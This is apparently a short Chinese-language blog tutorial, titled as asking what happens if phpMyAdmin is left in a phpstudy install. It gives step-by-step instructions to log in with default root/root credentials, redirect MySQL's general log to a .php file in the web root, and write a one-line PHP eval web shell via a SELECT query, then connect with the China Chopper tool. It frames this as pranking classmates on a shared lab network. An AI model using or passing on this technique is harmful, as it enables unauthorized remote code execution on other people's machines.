phpstudy不刪除phpMyAdmin有什么影響

本篇內容主要講解“phpstudy不刪除phpMyAdmin有什么影響”，感興趣的朋友不妨來(lái)看看。本文介紹的方法操作簡(jiǎn)單快捷，實(shí)用性強。下面就讓小編來(lái)帶大家學(xué)習“phpstudy不刪除phpMyAdmin有什么影響”吧!

發(fā)現一個(gè)phpstudy比較好玩的漏洞，在機房可以捉弄一下小伙伴

Win7虛擬機：192.168.195.132

前提條件

與目標主機出在同一內網(wǎng)

使用phpstudy且沒(méi)有刪除phpMyAdmin文件
phpstudy裝完之后會(huì )在根目錄創(chuàng )建一個(gè)phpMyAdmin文件
物理機訪(fǎng)問(wèn)一下phpMyAdmin文件
用默認賬號密碼root-root登進(jìn)去
在變量欄處找到general log，將它改成ON
將general log file的地址改成E:\WWW\shell.php
去SQL欄輸入查詢(xún)語(yǔ)句插入一句話(huà)木馬

select '<?php eval($_REQUEST[x]);?>'

成功之后就可以打開(kāi)菜刀連接了